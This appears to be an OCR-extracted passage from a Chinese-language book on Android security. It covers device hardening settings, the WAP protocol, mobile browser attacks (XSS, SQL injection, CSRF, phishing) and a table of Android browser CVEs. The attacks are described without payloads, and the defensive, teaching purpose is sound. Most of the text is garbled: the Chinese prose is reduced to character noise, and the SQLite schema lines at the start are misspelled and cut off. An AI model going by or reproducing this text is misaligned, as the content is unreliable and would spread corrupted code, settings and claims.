CREATE TABLE statusss (i INTEGER PRIMARY KEY,status_id INT UNICLE MO, | |/
CREATE TARLE status_groups {_id INTEGER PRIMARY KEY.type INT.owner i41... |
CREATE TABRLE messages (_id INTEGER PRIMARY KEY,type INT,msg_id INT UN]. . ||
CREATE TARLE search_resuls {_id INTEGER PRIMARY KEY content TEXT.crest... |
CREATE TABLE search_quenies (_id INTEGER PRIMARY KEY,type INT nama TEX. .
CREATE TABLE Ists (_id INTEGER PRIMARY KEY,owner_id INT,typs INTst_dl... |

CREATE INDEX usar_groups_idx ON user_groups (types,owner_id, user_id) \
CREATE INDEX status_groups_kdx ON status_groups (type,owner_idtag,g st |
CREATE INDEX user_cur<ors_ndax ON cursors (Knd,typs, owner_d) ! | ;
CREATE INDEX search,_queries_index ON search_quenies (type, neme,query) |
CREATE INDEX search_results_index ON search_results (tag,status_d) l

7 SQLite B4 FEN YT A5 o 4387 Twitter X048 FE S
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A Erer 4 P s i duteya oy phones. 192 . 168 . 0 . 104 | i

B 8. 15 {difi] MOBILedit % 4% Android Z 55
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ARENAT Android REEHSFPRBNXHRSE, NATHEEEWARE
Ay BT A 0N R e i RS A O 40 X RN R S AR S R, DL AR R TP b 4
AACEE (WEdERE . RESEH. XH%) MEMARTTR, LLERIRBUR 23X
HEBNER . R, AZAENA T Android B &IEAT root Ab 3R FHRAE 2 TR
(A[Fl# Android & 7 iR A< root Zb PR IRA Fr 2= 52 ) , LA K fdi F 58 =75 oL FH R 44 A\
Android 18 H $R BUBHE 1 7 1 .
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AT ETRERWIFE Android REERZ LM, LAKIE Android 5 7
WREPFENEZ 2B, §AEN—BENHE ESBRENELER, REL
EAH) Android B8 0], HATHREXIER ST, R, NARE. F/FEES
T, DA P 8 IT7 A R, &5, wHieH KIE5R Android 2R 4L % £ [A]
R, AR AR IT A% 42 Android S FIFE FF 9 [R1E .

9.1 I Android &%

AV %, AP IRSEE K Android RGER R 2[R, FEA LUE L
F=4"J7H: Android XM #E . Android I FHFRFHMFF KR, LUK Android i
IR FFAE AL A5 T i Bt R A BRLR

#8#& Android L& MM HEF LR~ B F EHA (IT) ZhEEZEHM, miF
K4 H) Android 7 FHAEFF & T8 &/ 1 BASR IT FF % B BA A TAE T8 .
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RE b TE 7 AR PR A ok B 5

AR XL RO IEAG , LARCR IR Z 24, CaRR EBshiRE b
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2) [FHAATENBENZE.
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4) fEFEARTEER N A -

5) [RIHAbRMRG E L EHEMACH .,

6) VilRIARAFEMHNE.

7) FEAMERS
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Feii, BEARWELPREERUART M, BN, WRROEINNRE/ R
MELHRAEIHNE, EMELLFERNEHELME, Mot —EFLT
CHRT b i WA A 25 )/ T ), AARKF & 32 314077

1SO 27002 & ISO/IEC HL#GC kA 1 —E¥ ) 2 M E 2K R inE. BHI%
T 39 MEEX R A 130 BANEEEGIER, HFfRES AR ZS, HPRE
BRI R R ahif & . BdE, DR EhiRS EA R F LS R E R
[l HE S, FEHIREHE9. 2.5 (Control 9.2.5) 4Rk Fl FAbFR STk 22 £ m) 5, #H
it 10. 8. 1 K2 H TS BacH, DLRIEHIFENME 11. 7. 1 20517 B F i & fam
TSR 2 HI ARSI, ok A B3R & & Fi R

BT b R 3 X sl i pa o, 80T PATERS Bhist 28 b i F— e H Al 4 T 4
M. flAn, ERMITHT . LA, TemeMERNESEE. £ “GR &
GiSE . FFRM4E” Hmm, HIEEREENSER, EIFEER RS M H

O ISO/IEC #l#4, BJ ISO/IEC B4 {5 B ARZE R4 (1ISO/IEC JOINT TECHNICAL COMMITTEE FOR IN-
FORMATION TECHNOLOGY), EEFRFRME(LL L (1S0) FEPFRETER L (1EC) KA HHEAE
—ARHEEEARB R S, HHRE R ITCL, S 1S0 # IEC RS T, ARG B AR SR E FRbRfE
e T, HEEHmME g hAER . EERPRE A 2 E R T2 525X 6 ok B BRTRR B9 45
b, BIPIE, TR T IEA MRS AT, RS AHEIMEM RETEXE, B, EC
1 7% A, TR R 4T Y [ Prbm o i T AE, HA U iy 150 iR, ——if& i
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RIFE, NAESFEF LA MAEEE. RE RENRGELOE ST (i ARIE,
RS, DIREIREES) BRLHZR BN EEANT 2. ERPENREE
B4 RS, HAeoARAE (Fl4an, NIST 800-53°F1 PCI DSS®) A &AL
o TEATR b, XUChREAOA OB 00 5 X A% 3 9% 72 A g i IR 28 217 8 B 924
e T4l R, ESEBRTEFEE, DARONEXT K P AT R AR N EEHE .

9.1.4 BHEERLEHRE

XTI PR A i iR hil s, EZAT LA R LR 2k

1) ThEE bR BEA s . BRI Fn F A2 e 6 A sh it 4% b R 40 A (4 2
BE (fFlan, BEAHML. GPS), HCHE T4k M4 EHL % M (Virtual Private Network,
VPN) , ¥ AP FES IR T ER 3h i & b i A FE /a8 AR 1E & % B AR IR 55
7, PRALF PR LUE AR AR 4 B, LASBE LR root AbEHL AR A5 [m] 4k %E
JEFT 2 .

2) BAEGRY EEAFES A A MINTAEAE I . [ VPN @5 iR 52 4%
PRGEIR, UARSER SR KB EG IS &Y. o, BaEEERSPENIRS L,
{f F I AR BERR T RE

3) vilalEs]. EEQFE RS AP WS HEIE (Fa, Uk PIN &, SIM %
%), PLEAE AN AR TR B IR A . Ak, HRERNE K
ftfEl G (#EFEAN 2 ~5min) , T E A PIN 5/ %05 56 0E {4 #1815

4) RNEFAFRFE: & TR N AR P S0l A R e, 32 A A N AR ok
T/ BT E %, ZER A  HaE a7 R0 i i N R TR/ N T 3 B R
#, ZEE N IR AR N AR T s AN eI P AR AT SE A N FHAR R (B AT
SENBFIEBE AN AR ); 2518 P HE T AL Z 656 - P B0 &

© NIST 800-53 BI#E#7 MBS B 22 G AN 4140 (1 4 4 3 I 5 i, & NIST ( National Institute of Standards
and Technology, E[EEFIrME S A BE) & FISMA T H 2 o 7= A= i) 5 58 42 AR fE A48 /i Z
—, il B A MG R R (R BB A AR A o AR HE SR B AR T A2 A s T Tl 32 A A o b ) i
AHE, UBHE R ARG BRI R G i AR, LA Bh AU o ik B A B R G 2 R
HAME S, ERERMAEGBRA LSRR T8 SFRN, AReBHE, B2RFR
e, BEFEARTFENR . BEFENR . REIMARMAGEMERUT IS . —FEHE

© PCI DSS (Payment Card Industry Data Security Standard, 4-E47 808 22 2 brE) , iR =h X
AT B 2 2 pndE, J2 i PCI % 245 HEZ R 2 160 4h A B ( Visa, MasterCard, American Express.
Discover Financial Services, JCB %) #i5E ), & 16(f E bR bR A — B Bl 2 & i, &snE (PCI
DSS) 7ES AT Kb %e 4 EMSARHE GO BR | JUsp R e A EE, fEng, RR, FIBRRETH . B
PRI RD %, STARRES % 4, & T R R Se ik, MARRr . AbEL
W, WIH . RTINS ORI R b Ar . AbBU e e E A VERNRITA HAbE (A, JEsh, PCI DSS if
LT — R M B REAT R, FET BRSO R IE , A — B R . —— R
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-/ RE RS

9.2 3584 Android Z£ %

b EESN T E LM SRR, AR LR R 6 B X
. ATEPEAN BT E (381k) Android BB EZSIRE, LIBEREF%
SR, X, ATEENFAIBAHETNE: ELERLLEE (E) 1
Android X)L 2HEFIT K& %41 Android I TR FF .

9.2.1 ZZ£HZE Android iZ&

Android &) B, REWHIEE AN EX, KL FLLEE£E, ¥
RELENRENESRE, ULKHPIHNSFHIIGEEE (REEEEet
WEFEZLEE), FAEFEAPBTEER, LHEMTOLFERE, FE20t
BE& Android RGERAHI AW, Android ZR 40 R % 415 B 7 =X Rl 2 AS BT Lt
FoERARBIGEINA S . F BT ied 4 Fh e 4 i & B o] DL B3 FFE A st 45
WAl g Exchange ActiveSync {4 #/L i # 1% 2| H {th Android i% & . Ib4b, FLL
Android %] FARE THNMN RS ZLEE TERMY (T ZAEFARE =
TR T R R LAY ) , (R P PR b o 18 5 ) 2 et RE

1. RIFWAIEE 0] o

IEANAS T A AR B A, SRZ XSRS AR
HISEPRE S, 2P Fll 7 58 Android 1%
FE e, FTERNMNEER@Z —, XFF
X— a8, 7] PAFE Android 45 Ll B iR%
EUIREECE T LA — E T2 R

(1) BB

ZUREIRERHE, HP W ER A L
PIN fi% sk % % f5, A4 o LA{dE ] Android % %% .
28R, APWRAT AR E, H2, H
FHRABNREHE LM, ABRpIENHP
i AZIIREIRE ., AR E, WERBIT
AR AR AT E . “Settings” -> “Securi-
ty” -> “Secreen Lock”, SR 7E “PIN" A
“Password” HREERE — T, AF A BRI 1 A H
I A e PR E 22 i @ ig a8 2
M PIN f4E 0 5w g 60 (IRELRE W
B9.1H/R), % “Secreen Lock (#iFF)" Ih 9.1 & Mebrhhe
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REE HE, P N 2[Rl i 585 A sh BB i alfRfE (LT 9.2) .

(2) iX& SIM R8iE

g “SIM F8iEIHEE (SIM card lock)”
fa, B&s®EHPfA PING, RAHAILE
By PIN 8%, FHPABEfER “ FHL” Theg. &
W, AP IERATRIES R XEE. JFE SIM
RHEDIRE, TELBAT P RAER BT IHE
IKHEA “Settings” -> “Set up SIM card lock”
(fnE 9.3 FE 9.4 fin), A/ A “ Lock
SIM card” BEWIRE ., WE 15 F#H91% Y
AFEEME, 1ER#SISIM R PIN £3,

(3) EFERER

Z 55 57 fE5 18 13 Exchange ActiveSync M
oL, B “mBERR” Thek. R W
Android £ % #5/\ 7 i Exchange iz 55 %%, B
25185 R T, B T R BRIk,
#ER Android 2% M EZGREUE, X TFHfR
BHREFNEEREUZLEE, Wi, #H
Exchange ActiveSync HR{4#IL i,

Automatically lock

Immediately

5 seconds
15 seconds
30 seconds
1 minute

2 minutes
5 minutes
10 minutes

30 minutes

F9.2  HzhBiFE B FEE

A A AL DI RE R E (P, FEERER

IE) #EEBR kg b, NmEABhRENERERE, XHTATEATENG

=4

M card lock setting

Lock SIM card
s

1o use phore

B9.3 J3H SIM K48k

Lock SIM card

B 9.4 [ SIM K4k A PIN it
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TLARHERR DI RE T LUK FHL_E B BT A B R, B FIURE RN TRES . #k
N AR BT A B R TR, AR R AR ES . A, mRERIIAETE:

MHBE AR AE SN SD F FRBERE R R .

2. HfhigE

BT EARThEE iR B AN, AW
Android %25 F P25 “Make password visible
(ZERSATIL)” ZEI, AT B Lk i A8 8 AT
SRR P ER SRS ERRE. PR, X
MABHE, BERX—TIEE, FIRMER P ERE
FEn ABSER PIN fEEf, M AKFHASTER
= EEEER, AR TR i)
fE: BEA “Settings” FiH, 2% “Make pass-
word visible” $EIT, #1& 9.5 s,

SCREEN SECURITY

Sereen lock
PIN

Automatically lock
5 seconds gher sfeso

Power button instantly locks

Owner info

1M CARD LOCK

Set up SIM card lock
PASSWORDS

Make passwords visible

DEVICT ADMINISTRATION

Device administrators
View or deachvate device admin strators

Ak, AFAEIH P25 “ Unknown

Unknown sources
Adlaw innailaion of spps Mo wnknown

Sources ( fRFEZ3E B A ENIE A R HEF)” :

W, PR LR, X F Android R
ik, BT Google Play® 4h, AEMRELM
TN ERFEREE. STFMAERMBE TN B9.5 Z5A “Make password visible”
g, EERE W, HP N Y7 AT 5
H2ZE, BEEEFREXENHER. 5
F “Unknown Sources” #Ti, A]LARH 1E MEABIR F &N HERF, SR LEE
Android %% L, & 9.5 Fras.

eAh, FEREGE Android AR E M E, AF —REZEM RN R, KB
EARATENRS . AP YR A", “NFC” f1 “ENIEE”, BRIETEMFEH
XEEThEE (WA 9.6), [EEF, F AN 24 F] Wi-Fi % & F s “ Network notifi-
cation (PIZEA)" ThAE (WA 9.7) . XATLIHEH P H 2 & —4> Wi-Fi N4k
HEHE, MRS ARE A shERE DT Al RIS/ Wi-Fi &%, teah, REWH P %R
& FHBER A3 “Gmail 3§ Google” 1/ 8% Dropbox® E ., 1Ak, Al —4 wfit
FA P fif BB R, AR P B 4% B8, 5 A i K2 W R AT SE A N AR R P e X A~ 4 3
to RiF, BdLeFFME, FR&HP 8aERZ R ERNHERE, mA
FETFRIFLFER R ZIMG, HAeth ok & AN TR .

“Unknown Sources” &I

© Google Play, Google i -Fi3%, HAI545 % Android Market, E—4~ Google /A% & Android i & F &
PIFELR LR IF RS . —— 8

© Dropbox f&— AR A M A MK FETELRN . XIFEZ S B BFEESR AsIFE S, Ha
YERAFR A MERERE, ——iF&E
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Advanced Wi-Fi

Network notification

Keep Wi-Fi on during sleep

9.6 ZH “EfIIRF" B9.7 A5 “MZgEmM” ThRE

Android 4. 2 JRASHY R GEHE N T — D AIThEE, R T T X RN R 0 B e
Ref1. ZIEEHEE, RE i Google X IE 7 %2 % By I FH e Fr #EATE KR IE
SRF5 , Android ZRGeRARYE 1Z 0 FH AR T (19 B 16 L, 5 T P 22 e 1 FH W BT Ok
fod, WEREBHNRE, RENIUEN HRF SRS, T2 M Google & ik — L% 4
(tnHE., URL, i&& ID #MERSGGEES) . EHEFRX—IhEE, TERRHET
TEEfE: “Settings” -> “Security” -> “Verify Apps” .

fE Android R4t |, 55—~ HCACSEHMIIRER, A “ Always on VPN (EJ2iH
i VPN ML) " . e Rt NAHEF S R G R VPN A4 GEE#E
FIM4%, G5 VPN &b TR, W R P o i dE R AN M 4% . ek, A4
A EBUH P OCHs Android 245 E ¥ USB X ZhAE, & 9.8 . USB #iXZhfE
Al LM Pt F UL B3] adb shell |, SEOE & LAE BB EEY M, &K
it 2%

£ Android #2485 b, WY SRR FIR R HIAR 2 — . FH P 7 24 7 i 7 2 0
WAL MBAAZE (I, ZHCEVIR), B9.9 B T 3 %N R 8
F L R B T,

3. &

Android 3. 0 J%JG4ERRA ) 2 Go i B AT 4 4 55 % B9 DB (A A24E SD K) .
B FIZIIAE, TR FAL A BT A RTINS TFHLE R R, LN
FIBAR N A B T . Aid, XTI, PSS 0 B AR
SEMFEHL B, —BFIRNe, wiaIris S, TR ABGRES,
K FHLHEF T

T FHLRER I DhfE, 75 P FH L2 LT A5

1) B89 AH PIN A
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5 b

Developer options

USB debugging

Stay awake

Allow mock locations

Desktop backup password

Strict mode enabled

E9.8 25 “USBiEL" Ihie

2) ffi ERIRGA FHLTTH.

S P e A I LRGN, THORHEAT R ik

Clear cache
va: ac3icy cach
Claasr hustory
Shaw security warnings

COORIES

Accept coolues

Clearall cookie data

Ramember lorm data
Forterioms 4% 12y b

Clear form data

Remember passwords

e e T e

9.9 WL LT E LM

WHE: “Settings” -> “Security” -> “Encrypt phone
(s FHL) ", BkF5 %] “Encrypt phone” 1% B %L,
JAH “Encrypt phone” IfE, % A 815 % %t PIN
B, JERFANEE, H A FHIE LS
iy A TS al PIN T BR FHLINE B . “ Encrypt
phone” & F A& 9. 10 Fis .

9.2.2 HEEE

Android 2.2 [RAZ R I RGE, AR IF & 4& &
it T — 2% Android 1% & & H APl ( Android Device
Administration API, Android % £ & BN F R T 4 FE 4
[1, ADAAPI) ., X% API | F 7 & % 22 4 M UKy
AR

&9.10 FHLIn%E

Android ZR 40P & (14 B HEPF R Y, (X E APLMGE T %) Exchange fIR 5 411
OB SR, R RES T S M IR, RS . BIBR . AT

(5 Exchange [RF LG, B— M HESWERS, B HE P 5 H Exchange IR 5 28Ry, Hop,
Exchange It %88 0 L3 FH SR F 4207 BTk . AR B 3R 40, 5 3 T 25 (048 D al 8 vR A1 BE i e 2%
R Z 48, Exchange IR& 858 B —MIMEF-& . RO AEMEERL EF & TER . MRS RS . 4

SR ARG E R B RS — &
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TR MR, URMESE, R, B rREEFARENRE &S
(Mobile Device Management, MDM) F&f7, HFHEZE(fHiXxE API, SZIX Android

REREHE,

AGUEH A BUT K E X E AP 45 X% S BURR N IR F . XN R

FREBPATA M BE R % 2 RME, Hf, A%
S Mg AT LAFEAS Hb N R 7 o AR 285 7% =52
B, WA LLRMGERRS A LS (BN, @
1 ¥ HF {4 #% Exchange IR 45 %%, 41 9. 11 ffR) .
HFEHELT, APTZEM Google Play s HAh i %
A FIRE IR N AR . LA TR
BIFRE, BIAEA T, Android & 4 il g % %
THFHRENHAREF. Fitk, MHE&RE L&
2| {>\k Exchange IR 45250, 8 1 12 b FH A& 7 ]
P ik & 4 RIS SR AR 15 40 24 1) 5 5 AVE B .
— BN AT LT (HECE TR, UH
TG RB), RGN, BiEEE
EHNHREF. WRAPEE XM, 2%
MR RHP#T T S hEERE. A,
MR PR EOE R & BN HEF, g

Device administrators

Email

B 9. 11 HFHR{4 L FH 72 e i
Il 55 4% 7E S SR g

2L —LERFERIThRE (BIan, ERSFUIRL TR, [F] Exchange R554FFIZ) o
Android & EH AP SCFRFHUER T H2RIKAN T, XL RIGREB X &E

BEFIAT,

° 3 HE

o f/NEKE

o HHISREL/ B AR1E
® EhgdHA

® RS S e SR PR
® Gt

o fH N

o LHRHERR

1E Android RSt &, 3@ od o WEAF 0 PR e % ) 22 - S, AnfEl 9. 12 o
K TR TR T A AR BT T AT 1 — 2 LA AR M A SRS
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Device administrator

- Email

Erase all data
Set password rules

Monitor screen-unlock
attempts

Lock the screen

Set lock-screen password
expiration

Cancel Deactivate

9. 12 38 H IR A R R o i A &2 2 3R

0.3 g

REE R T IR T HER RS ENSFE LR, LA T 5
xR, MifE, AEFHE(HESmB A T Android R4 E ST LINRER
B, BdXEELYAERE, Al UARMERR>Z2 NG, &5, 85t
Android % H AP HLEIBEAT 400, BHE5HS, ENAT IERXER &SI APL 7
Android &£ FHAT & PR %N, W RE T &MV RENZ S,



(U

D) S A £ 2 5 AR R B B RS Jey

AR FEFWBI R & LA HTML FId W4 1) & 2 a8, NA&FARER AL
HIARRERI A, ARSI &5, AERihes B shits skl

125 Fh = 2l B M F-Be o

10.1 #¥z) HTML %%

WEE 8 sl & B9 H 2 3 S ABOR 822 19 AT 4R f P 3 4517 [A) 199 i R R AR

, TEGErY sl A =K R I T o A R R Ak, B, B
bﬁlxéi:ﬂ’]ﬁ‘]”%ﬁﬂﬁﬁM%ﬁﬂ’]ﬂlﬁ ( TH ] S TET F,
FIMEE) ERBUGEE . 04, Ko Mus e &6
£F TG £& i FHEF?W}IX ( Wireless Apphcatlon Protocol ,
WAP) HARSiHaEh HTML (—fh i 8 3 1% 4& 19 ik
P35 ) o

WAP BUYERE SC T —H P s, AT 55 Bl i #% 3h
WEEMEBMAE M E S, WAP Bk LA T %
ZHRE (LA 10.1) . LB IEHR ML (Wireless Data-
WDP) , Jogki&ti 2% 4 (Wireless Trans-
port Layer Security, WTLS) . JG £k 1% % tp il ( Wireless
Transaction Protocol, WTP) . J& 4k £ 1% th i ( Wireless
WSP) FJ4kn 2 F I ( Wireless
Application Environment, WAE) . Z MSUiE a] ZE4E{0] oLk
RZ% ETAE. PUER&ZETERNA LK 10.1,

#* 10.1 WAP thill ik

gram Protocol ,

Session Protocol ,

)L'k’ R IASL (WAE)

K2 ZeiG ML (WSP)

TEERARATEIL (WTP)

TR Ghi)z %4 (WTLS)

TEREARHLL (WDP)

JE2k [ 24

[ 10.1 WAP fiM¥i%

Z B

- L (WDP
AR (WOP) |t T A B e e85

O F ORI RO, X L2 4 AR AT 5 A Bl 464 (B, UDP) 3

EofeHiE %4 (WILS) N ) R I

TLAEH L (WTP)

BLOCATRE RS S Ry (fildn, TR A R A )

Tk LGl (WSP)

4}t HTTP ( Hyper Text Transport Protocol , B AAE L) ThAE
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(%£)

= W #

RIMTCLIRICiES ( Wireless Markup Language, WML) ., WMLSeript 1 7C
28 7ERN ] ( Wireless Telephony Application, WTA) BfF# 0. WML &—
FH2E{IF HTML (Hypertext Markup Language, @ AIRCET) MRICIE
=, WMLScript f&—Fh25/8lF JavaScript I AIE S, WTA L HiETRE

TR FHRF S (WAE)

MR BRI WWW (World Wide Web, JT4ER]) HERE & PEigisfk
RIEG RS A% . MRS AFAEERYE 5K I M % P o & B AL (SR %), fnE 10.2
Fimn. 7 WAP #5EId | 203 el L a0l WWW BRI At A 26, Rad, 7F
WAP R, & PR S a8 Z EAFE— M, BaX XK Fmm L
PEATACER (SRAS/fRS ) , (K Lo g SR e i BB N & A shik &, WA 10.3 fiw.
@] 1. 0 fRAHY WAP AHEL, 2.0 hiiAsf) WAP 424 T 5 in== & & 2h 88 S 35 fl w2 i 1Y
HEXHF.

iR

WRE ()

A 10.2 WWW H#i#l

10.3 WAP A

1. 0 JRAS i) WAP 38 R fikoin B Imf SSL/TLS X +f, #E WAP 1.0 B, Bahi%&
@] WAP [ 5& 22 ] (i f& 44 WTLS . (B2, XebfeiiSrefCm/ MoCiR &5 a5 4t
Ak, WSEF LR /HTTP fift 55 #% 2 8] 4 £ 5 00 f F TLS/SSL # 47, 3% B Kt
WAP 1.0 fU{E#RIA R8E% T MITM ( Man-In- The- Middle, fa] A) . fiH.,
M WAP W36 ERTAZKIS S AR E (XEFEEUHXWEREE). XHE
BRF UNSR WAP W /LRI, MESFB"HNL2RFA NI, £ WAP
2.0 1, X—[a)@E L WAP 2. 0 #2419 5n%] %G SSL/TLS ThEE X H83 TBE .

IEAh, WAP Fi#63h HTML Rk 25 Z 5 MR Web I R F I d, @EE
AT SQL A | B SO R BGE AN B 4, sl U8 A% 2 Th Ak
SERMNERS, EHITIRE— S HA L 52 1 B AR AR AS B S RS 25 . TER BN A |,
[ #E S F cookies, A< (Script), PAK flash SEThEE. X 8L &0k E 3R &89 P
WG S Z F & XU/ B AR P — N IGE. AR E G sed,
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RIEFHEETHELSH X LW THEMEE, "TLAZ% OWASP (Open Web Ap-
plication Security Project, FFi{ Web N FHTEFF&ZETH) Mk,

10. 1.1 Eih SR A&

Bl S B4 (Cross- Site Scripting, CSS/XSS) BEWEFE Web W1 H i A K F 4
BAS, (o # gead iinl AL A . XSS ded AT LA
X HERGH P RSIEREE (B0 cookies) , B
fa Yot & A X Lo (5 B geat v lal fE wil Ll . & 10. 4
BT 7~ A d B Android | % 8% 177 8] — /> 77 7 T 1 A4 ()
i, R A2 B /R A XSS B Bl o

XSS WML RRATER S KHAREET  fo e oot says.
WKL EME T/ XL, 7 XSS EMERT,
Wk R G A X P B AHITIES, FHISEH
PRIAZE 2N AT EE (PR R XSS), &
LBEFEERR (FARIXSS), BILIGHEE.

F—RE M5 —FE, Bah MR A 5 M2 XSS
Wit . W A#sh HTML 7EXT F P i A S/ {6 8 7
i A 2 il R i B /D . A SR RE 815 Ak FE— g ) a2 S
FEALPERS 3 HTML, XJH P B4 AR F A 24 69 383E ,
L RE U8 R B 116 3h 3k 8 3 XSS Bt .

10.1.2 SQL FAKEH

SQL A BERSHER B % F 34 60 SQL #8184 1 AN AR . — R Y SQL
i) () TR U A BE S BAR B A A, s A S v e 45 I AL
#l, BITEMEREREEMS, JH AR/ T/ MBRERE EEE .

SQL A M 9 55 R %A XA L5 FH P B3 AZEATINE, B e s A
F&Fh SQL #1), x4 SQL A if A4 B 12 M [ J5 i B8 PEEA T30 .

5 XSS i, #zh HTML 1 WAP MR 5 5% SQL i A X, #shM
UARA AT RE 7] S 1 H A 0 — A AEAE AR R TR, 808 6 o0 W3l B () B R 28 4
YR SRR P 4 AT, 30 35 AT BE I A Xk gk P g A REAT IR AE. B
e, XFFaX—[EE, S8 A 2 ) S A AL 72 RE S A Ak BE 1 SQL FE AT
5,

10.1.3 B mAiEERIE

Uk S hid 7K (Cross- Site Request Forgery, CSRF, XSRF) M EeW A E
ZEPIMBKAER A, BRAESGTEEE (REM) Mad, T e RiE

Mobile XSS

Kl 10.4  Fzhik& L XSS i+
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FIF AR, MR SEE N P & & e <. 7E CSRF Kifirh, M Ext
RPEERZER, WAE XSS W, A MR RS #/ My FEENZEE .

EBERE L, AP Sh—BRewH IR Z AR RIE, XHH{#ES CSRF
Wkl gE, BRI G X/ ZicA B ik EmaEs—F. mME, CSRF Xid
BERSAI B/ M S m A UL A AT O (filan, fh¥emiiiA URL BEH: 9 F HE
), A3 = 72 Rl _E TR 3 B0 AE .

10.1.4 MZ&$&E

Mg ar EERE BHis2EAROHAP, BERAIIEEEENEE (F
n, SSN. %, UAGERAES%). Bits TRANFE, IHEEHERMA,
AFE R S E K RSP T3 5 E (4 E . AR E X e Mol R HGE Rk (MR B 7
e R B AR R B ) BRI P SPUAT — I F A B A0ERAE, AT UK
EBARMLES T HE#E

2B, FHPWE —H AR B FIR, WEREERE, ZEFIRHER
MATH P AL S ERABRIT R H . IAFSFRA FIDHBTHNELRRAE, §F
P BB A ARIT RS, T A EAPEE, P ERSAPREE— 1 FuE
WAy URL 554z, RESEHX ML, APMESHEA—AMYE, ZMEEFEZR
FARAT ISR AR . T2, AP aRmirsetse RBmEERE. R, &5
ALK H S RT A SRR S T I .

XFR PR, FEFshR& LRI IGE RS EmMEE. BABahgs b
1) UL @7n7i i/, FPAREAE /TR Y528 URL #E (5 B . IR bt
PEEE W BIREAMEY, IBAERINRS L, FHFRERMEMN XL URL #8F 8 EiX
ik, ERRS L, B/ UL BR8P RES S S M FERE
MssZ B X 5] SR URL £tthde (flan, et AR A1/Ng URL X 8
) SUEN URL [RURARWMERFE GESESERFRTE &M/ URL), RAad
BRI AR E M XS B R EmEE. REHAFR (EERMNXFEER—
E T F) ARG HWMLT ., EWMFERN—F TR, QR (Quick
Response, RN ) 5t AT DA%k FH ok St 28 et o

10.2 BHHRHFRE

A% 35045 [1] i 4% 3] Android F & J:&@%J%%e%iﬁﬁ DA K B o 28 T 3R ik
I‘D—JEO
10.2.1 3 %5 38R:E

FIRTERE R R1E, BEH KL 200 £45 Android - & 4HE 9 WL IR F1 2
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#% (Al ( Common Vulnerabilities and Exposures, CVE) #{i5%%| T CVE BYZHEE G
( FH P AT HE cve. mitre. org M5 EA8 2R 5CHEA “android” #FXLEJRFIH) . X CVE
REFZESW RN RE, GFRENERN LS, DALME ErTHETFZ AN
Yiaw, BAnAIN (Firefox) WYERF, 3 10.2 EBNE T FiRJLFP CVE K HAHR H
R (PE4ABERAE S % NIST M3 A 43©) : CVE 2008-7298, CVE 2010-1807, CVE
2010-4804, CVE 2011-2357 #1 CVE 2012-3979,

% 10.2 Android ig& 53} %8 HE X MR AREC

wooH

CVE 2008-7298

Android 4P B Y Android | Y25 Tk te 2 R HTTPS 215 cookies 7 EL &
o8, SETGEFRYE S P E AZd, FIH HTTP 0@ 57 4 3CHY Set- Cookie Sk 7 F
B, EEMBRERER cookies {5 8. IR H 7= 4 i T BA (R & & 2 EHH A
( Http Strict Transport Security, HSTS)

CVE 2010-1807

R AFTE THERAFR 4. 1.2 A ZHTE 4. x RIURRAF 5. 0.2 fRAZATH 5. x
FIN A H) Safari WY EH, Google /A F ) Android 2. 2 iR A Z R #Y Android 4L, LA
B 1.2.6 A Z Hi#) webkitgtk BEHRH o 120 TR 5 BOG R IE i Mo X% o 2008 2E4T HIE
FEREEAEHEIITEENRT, KEMEB%4S 6 HTML S0P 6l i 5 45 B %5
(RLFARRFFAAE) Bk, XLEmE#R-S B A (EFARMERY NaN FoR kA %

CVE 2010-4804

TEFETC T A BE 9% fi Bh Android 2. 3.4 RAC Z [ 9 Android ZR 46 4 B (1 30 Y2 2% com/
android/ browser/ % % F 1Y) BrowserActivity. java F1 BrowserSettings. java ({4, 1§ Fi4F &
f)i& 4] “content: //URI™ HHL SD 4 () 34

CVE 2011-2357

£ Android 2. 3. 4 F1 Android 3. 1 hiz7< (¥ 31l %5 2% URL A% 2h AE b 7 75 85 N R P I A
Wi, R RS A R AR P Se ek W AR AL, ZEAE EARMEEL (Domain) HRAT
{ERE Y JavaScript BIA . ek & FIHZWR W 69 7 XA Fifh . OMAX_TAB SH0RE T
) YO AR AT LA AT FF 0 e 2 AR A 0, Ao FH 0 00 8% — K PRI AT T B S 4, AR
M 48 (7 F55E H AR URT InEE 2 24 /i b7 48 0L kA= 19 . )R] AT K startActivity
A%, SERMEM T BRI URL, BERD S T % JavaScript JIA, ifirH & s UK
BAERE S HARELUY Activity |

CVE 2012-3979

15. 0 A< 22 Wi (19 Android JCAR 3 5 289545 1E Wi M 8 FH_ android_log_print pR%Y, 7E
) B2 P o A A S AR A AR A AT ORI, Bl el A I 4 E A ol o A Java
Seript it 6 04 R TT , 7 5% B 0 A 107 PR P o A0 PR RO ) PR TAE RS AR 8D

CVE 2008-7298 i AT LA ek % A K B sk sk M cookies; CVE 2010-1807 ¥
i AT L o 2 R AT A AR WS ik AR AR A 8t s CVEE 2010-4804 i i 7T LA

(5 NIST (National Institute of Standards and Technology, 3%[E EZtniE S HAMILE) , NIST # % CVE i
A Z DL %5 hitp: //web. nvd. nist. gov/view/vuln/detail? vulnld = CVE, — R A

G FHEPZEIE TG http: //web. nvd. nist. gov/view/vuln/detail? vulnld = CVE, I i1 156 1A ok 1 1) O
B ZE (National Vulnerability Database, NVD) ., ——Jf-HiE
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S 3 SD R A& {5 EiltEE ; CVE 2011-2357 il #E %3 XSS Kdi; CVE 2012-
3979 Wi REE SRR E RS BT, M EHTEV AN ELRIRIFE AL, 7T LUEH
s vl Y A B T R A0 @ THE AL YA TR TR B A A E RS . EE, RN
PR FF BT R I% A #2 FREE 2 i) &2 4T & JB1 ] ( Security Development Lifecycle, SDL)
AT, TE, R EF S RMIN S SDL iR vl A f] ek [ % 3h b &
BHERREAKR, IasSFEEFTFAAREFR IR T ZRIBEZE2ERFE
(Blgn, BUbEE . BSahMmssat. 2K, DUERBEHEES), AmE
EATEA B HTER 3N R R g R

BE3RIE T E°

PP E TR, FRioRiE TR B ESFE TRKEE T, 28, 4o
LXK E LI AR i s b, BN —FE B ik & L 27,
HA L, E#oRE T ROPIERE TR, SR VIR 2R RS, X
SR EFE A3 M8, JFHEESATRE,

B, ABEEFR TH—1 Android F5 EHERGRE THEEBEERG (X
P B AP 4 2 NonCompatible™ ) , 15 [A] 52 RR YL i R Bf, I B8 8% < A 47
TERXFEERM . (B2, WRERAHPRERES, TRINXKKERAEBTT
TR, MH, LEMATTERFERGHHMG, GETFERPHRE “AFLERE
iR &E, AEHEIAAFNLRT], TREREREERSZ L, LK
o X X SRR Y P B T e, A RN RATHY Android i A AR 5X
Android REMEHT . HAEEN T EIHEE FERIFLZRXEH, MAEX T~
A i 2 s B A R, RSB P RS 8oE SRR

